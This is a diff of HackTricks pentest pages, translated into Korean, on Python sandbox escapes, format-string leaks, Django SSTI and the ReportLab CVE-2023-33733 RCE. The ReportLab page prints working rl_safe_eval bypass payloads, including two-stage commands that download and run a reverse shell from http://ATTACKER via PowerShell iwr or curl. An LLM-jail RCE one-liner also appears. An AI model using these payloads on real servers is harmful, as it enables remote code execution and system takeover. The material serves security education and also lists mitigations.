만약 **형식화**될 **문자열**을 파이썬에 **전송**하면, `{}`를 사용하여 **파이썬 내부 정보**에 접근할 수 있습니다. 이전 예제를 사용하여 globals 또는 builtins에 접근할 수 있습니다.
만약 **send**된 **string**이 python에서 **formatted**될 경우, `{}`를 사용해 **python internal information.**에 접근할 수 있습니다. 예를 들어 이전 예제들을 사용해 globals나 builtins에 접근할 수 있습니다.
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -682,16 +689,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
일반적인 방법으로 **속성**에 **점**을 사용하여 접근할 수 있음을 주목하세요, 예를 들어 `people_obj.__init__`와 **딕셔너리 요소**에 **괄호**를 사용하여 인용 없이 접근할 수 있습니다 `__globals__[CONFIG]`.
Note how you can **access attributes** in a normal way with a **dot** like `people_obj.__init__` and **dict element** with **parenthesis** without quotes `__globals__[CONFIG]`
또한 `.__dict__`를 사용하여 객체의 요소를 열거할 수 있음을 주목하세요 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`.
Also note that you can use `.__dict__` to enumerate elements of an object `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
형식 문자열의 다른 흥미로운 특성 중 하나는 **`str`**, **`repr`** 및 **`ascii`** 함수를 지정된 객체에서 각각 **`!s`**, **`!r`**, **`!a`**를 추가하여 **실행**할 수 있는 가능성입니다:
Some other interesting characteristics from format strings is the possibility of **executing** the **functions** **`str`**, **`repr`** and **`ascii`** in the indicated object by adding **`!s`**, **`!r`**, **`!a`** respectively:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
또한, 클래스에서 **새 포매터를 코드화**하는 것이 가능합니다:
또한, 클래스에서 **새로운 포매터를 구현할 수 있습니다**:
```python
class HAL9000(object):
def __format__(self, format):
@ -702,17 +709,17 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**형식** **문자열** 예제에 대한 **더 많은 예제**는 [**https://pyformat.info/**](https://pyformat.info)에서 찾을 수 있습니다.
**더 많은 예제는** **format** **string** 예제를 [**https://pyformat.info/**](https://pyformat.info)에서 확인할 수 있습니다
> [!CAUTION]
> 다음 페이지에서도 **Python 내부 객체**에서 민감한 정보를 읽는 가젯을 확인하세요:
> 다음 페이지도 확인하세요 — gadgets that will r**ead sensitive information from Python internal objects**:
{{#ref}}
../python-internal-read-gadgets.md
{{#endref}}
### 민감한 정보 유출 페이로드
### 민감한 정보 노출 Payloads
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
@ -728,22 +735,22 @@ secret_variable = "clueless"
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
str(x) # Out: clueless
```
### LLM Jails 우회
### LLM Jails bypass
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
출처: [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### 포맷에서 RCE로 라이브러리 로딩
### format 문자열에서 RCE로 라이브러리 로딩
[**이 글의 TypeMonkey 챌린지**](https://corgi.rip/posts/buckeye-writeups/)에 따르면, 파이썬의 포맷 문자열 취약점을 악용하여 디스크에서 임의의 라이브러리를 로드할 수 있습니다.
[**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/)에 따르면, python의 format string 취약점을 악용하여 디스크에서 임의의 라이브러리를 로드할 수 있습니다.
상기할 점은, 파이썬에서 어떤 작업이 수행될 때마다 함수가 실행된다는 것입니다. 예를 들어 `2*3`**`(2).mul(3)`**을 실행하거나 **`{'a':'b'}['a']`**는 **`{'a':'b'}.__getitem__('a')`**이 됩니다.
참고로, python에서 어떤 연산이 수행될 때마다 해당 연산을 처리하는 함수가 실행됩니다. 예를 들어 `2*3`**`(2).mul(3)`**를 실행하고, **`{'a':'b'}['a']`**는 **`{'a':'b'}.__getitem__('a')`**를 실행합니다.
이와 유사한 내용은 [**호출 없이 파이썬 실행**](#python-execution-without-calls) 섹션에서 더 확인할 수 있습니다.
이와 유사한 예제는 [**Python execution without calls**](#python-execution-without-calls) 섹션에서 더 볼 수 있습니다.
파이썬의 포맷 문자열 취약점은 함수를 실행할 수 없으므로 (괄호를 사용할 수 없기 때문에), `'{0.system("/bin/sh")}'.format(os)`와 같은 RCE를 얻는 것은 불가능합니다.\
그러나 `[]`를 사용할 수 있습니다. 따라서, 일반적인 파이썬 라이브러리에 임의의 코드를 실행하는 **`__getitem__`** 또는 **`__getattr__`** 메서드가 있다면, 이를 악용하여 RCE를 얻을 수 있습니다.
python의 format string 취약점은 함수 호출을 허용하지 않습니다(괄호 사용을 허용하지 않기 때문에). 따라서 `'{0.system("/bin/sh")}'.format(os)` 같은 RCE를 얻을 수 없습니다.
하지만 `[]`는 사용할 수 있습니다. 따라서 일반적인 python 라이브러리에 임의의 코드를 실행하는 **`__getitem__`** 또는 **`__getattr__`** 메서드가 있다면, 이를 악용 RCE를 얻을 수 있습니다.
파이썬에서 그런 가젯을 찾기 위해, 글에서는 [**Github 검색 쿼리**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)를 제안합니다. 여기서 그는 [이것](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) 발견했습니다:
python에서 그런 gadget을 찾기 위해, writeup은 이 [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)를 제안합니다. 거기에서 그는 이 [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) 발견했습니다:
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -765,20 +772,20 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
장치는 **디스크에서 라이브러리를 로드**할 수 있게 해줍니다. 따라서 공격받는 서버에 **정확하게 컴파일된 라이브러리를 작성하거나 업로드**할 필요가 있습니다.
gadget은 **디스크에서 라이브러리를 로드할 수 있게 합니다**. 따라서 공격 대상 서버에 로드할 라이브러리를 올바르게 컴파일된 상태로 **어떤 식으로든 작성하거나 업로드해야 합니다**.
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
도전 과제는 실제로 서버의 디스크에 임의의 파일을 생성할 수 있는 또 다른 취약점을 악용합니다.
이 챌린지는 실제로 서버의 또 다른 취약점을 악용하여 서버 디스크에 임의의 파일을 생성할 수 있게 합니다.
## 파이썬 객체 해부하기
## Python 객체 분석
> [!TIP]
> **파이썬 바이트코드**에 대해 깊이 배우고 싶다면 이 **멋진** 게시물을 읽어보세요: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
> **python bytecode**에 대해 깊이 **배우고 싶다면**, 이 주제에 관한 **훌륭한** 포스트를 읽어보세요: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
일부 CTF에서는 **플래그**가 있는 **사용자 정의 함수의 이름**을 제공받을 수 있으며, 이를 추출하기 위해 **함수**의 **내부**를 살펴봐야 합니다.
어떤 CTFs에서는 **custom function where the flag**의 이름이 제공될 수 있으며, 이를 추출하려면 해당 **function**의 **internals**를 확인해야 합니다.
검사할 함수는 다음과 같습니다:
검사할 function은 다음과 같습니다:
```python
def get_flag(some_input):
var1=1
@ -798,7 +805,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` `func_globals`(동일) 전역 환경을 얻습니다. 예제에서 일부 가져온 모듈, 일부 전역 변수 및 선언된 내용을 볼 수 있습니다:
`__globals__` and `func_globals`(동일) 전역 환경을 얻습니다. 예제에서는 일부 import된 모듈과 몇몇 전역 변수 및 그 내용이 선언된 것을 볼 수 있습니다:
```python
get_flag.func_globals
get_flag.__globals__
@ -807,11 +814,11 @@ get_flag.__globals__
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
[**여기에서 globals를 얻을 수 있는 더 많은 장소를 확인하세요**](#globals-and-locals)
[**See here more places to obtain globals**](#globals-and-locals)
### **함수 코드 접근하기**
### **함수 코드 접근하기**
**`__code__`** 및 `func_code`: 이 **속성**에 **접근**하여 함수의 **코드 객체**를 **얻을** 수 있습니다.
**`__code__`** 및 `func_code`: 이 함수의 해당 **속성**에 **접근**하여 함수의 **코드 객체**를 **얻을 수 있습니다**.
```python
# In our current example
get_flag.__code__
@ -871,7 +878,7 @@ get_flag.__code__.co_freevars
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```
### **함수 분해**
### **함수 디스어셈블하기**
```python
import dis
dis.dis(get_flag)
@ -899,7 +906,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
다음에 유의하세요: **파이썬 샌드박스에서 `dis`를 가져올 수 없는 경우** 함수의 **바이트코드**(`get_flag.func_code.co_code`)를 얻고 이를 로컬에서 **디스어셈블**할 수 있습니다. 변수의 내용이 로드되는 것을 볼 수는 없지만(`LOAD_CONST`), `LOAD_CONST`가 로드되는 변수의 오프셋도 알려주기 때문에 (`get_flag.func_code.co_consts`) 이를 추측할 수 있습니다.
참고로 **python sandbox에서 `dis`를 import할 수 없다면** 함수의 **bytecode** (`get_flag.func_code.co_code`)를 얻어 로컬에서 **disassemble**할 수 있습니다. 로드되는 변수들의 내용은 (`LOAD_CONST`)에서 직접 볼 수는 없지만 (`get_flag.func_code.co_consts`)로부터 추측할 수 있습니다. `LOAD_CONST`는 로드되는 변수의 오프셋도 알려주기 때문입니다.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -921,10 +928,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
44 LOAD_CONST 0 (0)
47 RETURN_VALUE
```
## Python 컴파일
## 파이썬 컴파일
이제, 어떤 방법으로든 **실행할 수 없는 함수에 대한 정보를 덤프할 수 있다고 상상해 보십시오**. 하지만 **실행해야** 합니다.\
다음 예제와 같이, 해당 함수의 **코드 객체에 접근할 수 있지만**, 디스어셈블을 읽는 것만으로는 **플래그를 계산하는 방법을 알 수 없습니다** (_더 복잡한 `calc_flag` 함수를 상상해 보십시오_)
이제, 어떤 식으로든 실행할 수 없는 함수에 대한 정보를 **dump**할 수 있지만, 그것을 **실행해야** 한다고 상상해 보자.\
다음 예제처럼, 그 함수의 **code object에 접근할 수는 있지만**, disassemble을 단순히 읽는 것으로는 **flag를 계산하는 방법을 알 수 없다** (_더 복잡한 `calc_flag` 함수를 상상해 보라_)
```python
def get_flag(some_input):
var1=1
@ -937,9 +944,9 @@ return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```
### Creating the code object
### code object 생성하기
우선, **코드 객체를 생성하고 실행하는 방법**을 알아야 합니다. 이를 통해 우리의 함수가 실행되도록 코드 객체를 생성할 수 있습니다:
먼저, 우리는 **code object를 생성하고 실행하는 방법**을 알아야 합니다. 그래야 우리의 leaked 함수를 실행하기 위해 하나를 생성할 수 있습니다:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -959,7 +966,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!TIP]
> 사용하는 파이썬 버전에 따라 `code_type`**매개변수** 순서가 **다를 수 있습니다**. 현재 실행 중인 파이썬 버전에서 매개변수의 순서를 아는 가장 좋은 방법은 다음을 실행하는 것입니다:
> python 버전에 따라 `code_type`의 **parameters**가 **다른 순서**일 수 있습니다. 현재 실행 중인 python 버전에서 params의 순서를 확인하는 가장 좋은 방법은 다음을 실행하는 것입니다:
>
> ```
> import types
@ -967,10 +974,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
> ```
### 유출된 함수 재생성
### leaked function 재생성하기
> [!WARNING]
> 다음 예제에서는 함수 코드 객체에서 직접 함수를 재생성하는 데 필요한 모든 데이터를 가져올 것입니다. **실제 예제**에서는 함수를 실행하는 데 필요한 **값**이 **유출해야 할 내용**입니다.
> 다음 예제에서는 function code object로부터 함수 재생성에 필요한 모든 데이터를 직접 가져옵니다. In a **real example**, all the **값들** to execute the function **`code_type`** is what **you will need to leak**.
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -983,10 +990,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### 방어 우회
게시물의 시작 부분에 있는 이전 예제에서 **`compile` 함수**를 사용하여 **어떤 파이썬 코드든 실행하는 방법**을 볼 수 있습니다. 이는 **루프와 모든 것을 포함한 전체 스크립트**를 **한 줄**로 실행할 수 있기 때문에 흥미롭습니다(그리고 **`exec`**를 사용하여 동일한 작업을 수행할 수도 있습니다).\
어쨌든, 때때로 **로컬 머신**에서 **컴파일된 객체**를 **생성**하고 **CTF 머신**에서 실행하는 것이 유용할 수 있습니다(예를 들어 CTF에서 `compiled` 함수가 없기 때문에).
글 초반의 이전 예제들에서, **`compile` 함수를 사용해 어떤 python 코드든 실행하는 방법**을 볼 수 있습니다. 이는 반복문 등 모든 것을 포함한 **전체 스크립트를 실행**하고 **한 줄로** 처리할 수 있다는 점에서 흥미롭습니다 (같은 방법을 **`exec`**로도 할 수 있습니다).\
어쨌든, 가끔 로컬 머신에서 **생성**한 **컴파일된 객체**를 **CTF 머신**에서 실행하는 것이 유용할 수 있습니다 (예: CTF에 `compiled` 함수가 없기 때문입니다).
예를 들어, _./poc.py_를 읽는 함수를 수동으로 컴파일하고 실행해 보겠습니다:
예를 들어, _./poc.py_ 를 읽는 함수를 수동으로 컴파일하고 실행해봅시다:
```python
#Locally
def read():
@ -1013,7 +1020,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
`eval` 또는 `exec`에 접근할 수 없는 경우, **적절한 함수를** 생성할 수 있지만, 이를 직접 호출하면 일반적으로 다음과 같은 오류가 발생합니다: _제한된 모드에서 생성자에 접근할 수 없음_. 따라서 이 함수를 호출하기 위해 **제한된 환경에 있지 않은 함수가 필요합니다.**
만약 `eval`이나 `exec`에 접근할 수 없다면 **적절한 함수**를 만들 수 있습니다. 하지만 그것을 직접 호출하면 보통 _constructor not accessible in restricted mode_ 오류가 발생합니다. 따라서 이 함수를 호출하려면 **제한된 환경 밖에 있는 함수**가 필요합니다.
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1021,23 +1028,23 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## 컴파일된 파이썬 디컴파일
## 컴파일된 Python 디컴파일
[**https://www.decompiler.com/**](https://www.decompiler.com)와 같은 도구를 사용하면 주어진 컴파일된 파이썬 코드를 **디컴파일**할 수 있습니다.
Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **decompile** given compiled python code.
** 튜토리얼을 확인하세요**:
**다음 튜토리얼을 확인하세요**:
{{#ref}}
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
{{#endref}}
## 기타 파이썬
## 기타 Python
### Assert
`-O` 매개변수로 최적화된 상태에서 실행된 파이썬은 assert 문과 **debug** 값에 따라 조건부인 코드를 제거합니다.\
따라서, 다음과 같은 체크가 필요합니다.
Python executed with optimizations with the param `-O` will remove asset statements and any code conditional on the value of **debug**.\
따라서, 다음과 같은 체크들은
```python
def check_permission(super_user):
try:
@ -1046,9 +1053,9 @@ print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
```
우회될 것입니다
우회니다
## 참고문헌
## 참고자료
- [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
- [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
@ -1056,5 +1063,8 @@ print(f"\nNot a Super User!!!\n")
- [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape)
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
- [CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) NVD](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- [c53elyas/CVE-2023-33733 PoC and write-up](https://github.com/c53elyas/CVE-2023-33733)
- [0xdf: University (HTB) Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,79 @@
# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
{{#include ../../../banners/hacktricks-training.md}}
이 페이지는 ReportLab의 rl_safe_eval에서 발생하는 실용적인 샌드박스 이스케이프 및 RCE 원시(primitive)를 문서화합니다. 해당 취약점은 xhtml2pdf 및 사용자 제어 HTML을 PDF로 렌더링하는 다른 PDF 생성 파이프라인에서 사용될 때 악용될 수 있습니다.
CVE-2023-33733은 ReportLab 3.6.12 이하 버전에 영향을 줍니다. 특정 속성 문맥(예: color)에서 [[[ ... ]]]로 감싼 값은 rl_safe_eval에 의해 서버 측에서 평가됩니다. whitelisted 된 builtin(pov 같은)에서 Python 함수의 globals로 피벗하는 페이로드를 조작하면 공격자는 os 모듈에 도달해 명령을 실행할 수 있습니다.
핵심 사항
- Trigger: ReportLab/xhtml2pdf에 의해 파싱되는 마크업 내 <font color="..."> 같은 평가되는 속성에 [[[ ... ]]]를 주입.
- Sandbox: rl_safe_eval은 위험한 builtins를 대체하지만 평가된 함수들은 여전히 __globals__를 노출.
- Bypass: rl_safe_eval의 이름 검사(name checks)를 우회하고 차단된 dunder 필터링을 피하면서 "__globals__" 문자열에 접근하기 위해 일시적인 클래스 Word를 조작.
- RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
- 안정성: 실행 후 속성에 대해 유효한 값을 반환하도록 함(예: color의 경우 and 'red').
언제 테스트할지
- HTML-to-PDF 내보내기(프로필, 인보이스, 리포트 등)를 노출하고 PDF 메타데이터 또는 HTTP 응답 주석에 xhtml2pdf/ReportLab이 표시되는 애플리케이션.
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- PDF에 대한 HTTP 응답은 종종 ReportLab generator 주석으로 시작함
샌드박스 우회 방식
- rl_safe_eval은 많은 builtins(getattr, type, pow, ...)을 제거하거나 대체하고, 이름이 __로 시작하거나 denylist에 있는 속성들에 대해 필터링을 적용함.
- 그러나 안전한 함수들은 func.__globals__로 접근 가능한 globals 사전 안에 존재함.
- type(type(1))을 사용하여 실제 builtin type 함수를 복구(ReportLab의 래퍼를 우회)한 뒤, 비교 동작을 변형한 str에서 파생된 Word 클래스를 정의하여:
- .startswith('__') → 항상 False (startswith('__') 검사 우회)
- .__eq__는 첫 비교에서는 False만 반환하고 이후에는 True 반환(denylist 멤버십 검사 우회, 이후 Python getattr 작동)
- .__hash__는 hash(str(self))와 동일
- 이렇게 하면 getattr(pow, Word('__globals__'))는 래핑된 pow 함수의 globals dict를 반환하고, 여기에는 import된 os 모듈이 포함됨. 그 다음: ['os'].system('<cmd>').
최소한의 악용 패턴(속성 예시)
평가되는 속성 내부에 페이로드를 넣고 boolean 연산과 'red'를 통해 유효한 속성 값을 반환하도록 보장.
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
- 리스트 컴프리헨션 형태는 rl_safe_eval에 허용되는 단일 표현식을 가능하게 함.
- 끝의 and 'red'는 유효한 CSS 색상을 반환하여 렌더링이 깨지지 않게 함.
- 명령은 필요에 따라 교체; tcpdump로 실행을 확인하기 위해 ping 사용.
운영 워크플로우
1) PDF 생성기 식별
- PDF Producer가 xhtml2pdf를 표시하거나 HTTP 응답에 ReportLab 주석이 포함되어 있는지 확인.
2) PDF에 반영되는 입력 찾기(예: 프로필 bio/description) 및 내보내기 트리거.
3) 저소음 ICMP로 실행 확인
- 실행: sudo tcpdump -ni <iface> icmp
- 페이로드: ... system('ping <your_ip>') ...
- Windows는 기본적으로 정확히 네 번의 echo 요청을 보내는 경우가 많음.
4) 셸 확보
- Windows의 경우 인용 및 인코딩 문제를 피하기 위해 신뢰할 수 있는 2단계 접근법 권장:
- Stage 1 (다운로드):
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- Stage 2 (실행):
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- Linux 대상의 경우 curl/wget을 이용한 유사한 2단계 가능:
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
노트 및 팁
- 속성 문맥: color는 평가되는 속성으로 알려져 있음; ReportLab 마크업의 다른 속성들도 표현식을 평가할 수 있음. 한 위치가 필터링된다면 PDF 흐름에 렌더되는 다른 위치들(다른 필드, 테이블 스타일 등)을 시도해 보라.
- 인용(quoting): 명령을 간결하게 유지. 2단계 다운로드는 인용과 이스케이프 문제를 크게 줄여줌.
- 신뢰성: 내보내기가 캐시되거나 큐잉되는 경우 페이로드를 약간 변경(예: 랜덤 경로나 쿼리 추가)하여 캐시 적중을 피함.
완화 및 탐지
- ReportLab을 3.6.13 이상으로 업그레이드 (CVE-2023-33733 수정됨). 배포판 패키지의 보안 권고도 모니터링.
- 사용자 제어 HTML/마크업을 xhtml2pdf/ReportLab에 직접 전달하지 말고 엄격한 sanitization 적용. 신뢰할 수 없는 입력에서 [[[...]]] 평가 구문과 벤더 전용 태그를 제거/거부.
- 신뢰할 수 없는 입력에 대해 rl_safe_eval 사용을 비활성화하거나 래핑하는 것을 고려.
- PDF 생성 중 의심스러운 아웃바운드 연결(예: 문서 내보내기 시 앱 서버에서의 ICMP/HTTP)을 모니터링.
References
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -3,48 +3,57 @@
{{#include ../../banners/hacktricks-training.md}}
## Cache Manipulation to RCE
Django의 기본 캐시 저장 방법은 [Python pickles](https://docs.python.org/3/library/pickle.html)로, [신뢰할 수 없는 입력이 언픽클링될 경우](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) RCE로 이어질 수 있습니다. **공격자가 캐시에 대한 쓰기 접근 권한을 얻으면, 이 취약점을 기반 서버에서 RCE로 상승시킬 수 있습니다**.
Django의 기본 캐시 저장 방식은 [Python pickles](https://docs.python.org/3/library/pickle.html)이며, [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)될 경우 RCE로 이어질 수 있습니다. **공격자가 캐시에 쓰기 권한을 얻을 수 있다면, 이 취약점을 기저 서버에서 RCE로 확대할 수 있습니다**.
Django 캐시는 네 가지 장소 중 하나에 저장됩니다: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [메모리](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [파일](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), 또는 [데이터베이스](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis 서버나 데이터베이스에 저장된 캐시는 가장 가능성이 높은 공격 벡터입니다 (Redis 주입 및 SQL 주입), 그러나 공격자는 파일 기반 캐시를 사용하여 임의의 쓰기를 RCE로 전환할 수도 있습니다. 유지 관리자는 이를 비문제로 표시했습니다. 캐시 파일 폴더, SQL 테이블 이름 및 Redis 서버 세부정보는 구현에 따라 다를 수 있습니다.
Django 캐시는 네 중 하나에 저장됩니다: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), 또는 [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)에 저장됩니다. Redis 서버나 데이터베이스에 저장된 캐시는 가장 가능성 높은 공격 벡터(Redis injection 및 SQL injection)이며, 파일 기반 캐시를 이용해 임의의 쓰기를 RCE로 전환할 수도 있습니다. 메인테이너들은 이를 non-issue로 표시했습니다. 캐시 파일 폴더, SQL 테이블 이름, Redis 서버 세부 정보는 구현에 따라 달라진다는 점에 유의하세요.
이 HackerOne 보고서는 SQLite 데이터베이스에 저장된 Django 캐시를 악용하는 훌륭하고 재현 가능한 예를 제공합니다: https://hackerone.com/reports/1415436
이 HackerOne 리포트는 SQLite 데이터베이스에 저장된 Django 캐시를 악용하는 훌륭하고 재현 가능한 예를 제공합니다: https://hackerone.com/reports/1415436
---
## Server-Side Template Injection (SSTI)
Django 템플릿 언어(DTL)는 **튜링 완전**합니다. 사용자 제공 데이터가 *템플릿 문자열*로 렌더링될 경우 (예: `Template(user_input).render()`를 호출하거나 `|safe`/`format_html()`가 자동 이스케이프를 제거할 때), 공격자는 전체 SSTI → RCE를 달성할 수 있습니다.
The Django Template Language (DTL) is **Turing-complete**. 사용자 제공 데이터가 *template string*으로 렌더링되는 경우(예: `Template(user_input).render()`를 호출하거나 `|safe`/`format_html()`이 자동 이스케이프를 제거할 때), 공격자는 SSTI를 통해 RCE를 달성할 수 있습니다.
### Detection
1. *모든* 비위생화된 요청 데이터를 포함하는 `Template()` / `Engine.from_string()` / `render_to_string()`에 대한 동적 호출을 찾습니다.
2. 시간 기반 또는 산술 페이로드를 전송합니다:
### 탐지
1. `Template()` / `Engine.from_string()` / `render_to_string()` 같은 동적 호출에서 요청 데이터의 어떤 부분이라도 검증되지 않은 상태로 포함되는지 찾아보세요.
2. 시간 기반 또는 산술 페이로드를 전송하세요:
```django
{{7*7}}
```
렌더링된 출력에 `49`가 포함되면 입력이 템플릿 엔진에 의해 컴파일됩니다.
렌더된 출력에 `49`가 포함되어 있다면 입력은 템플릿 엔진에 의해 컴파일된 것입니다.
### Primitive to RCE
Django는 `__import__`에 대한 직접 접근을 차단하지만, Python 객체 그래프에 접근할 수 있습니다:
Django는 `__import__`에 대한 직접 접근을 차단하지만, Python object graph에는 접근할 수 있습니다:
```django
{{''.__class__.mro()[1].__subclasses__()}}
```
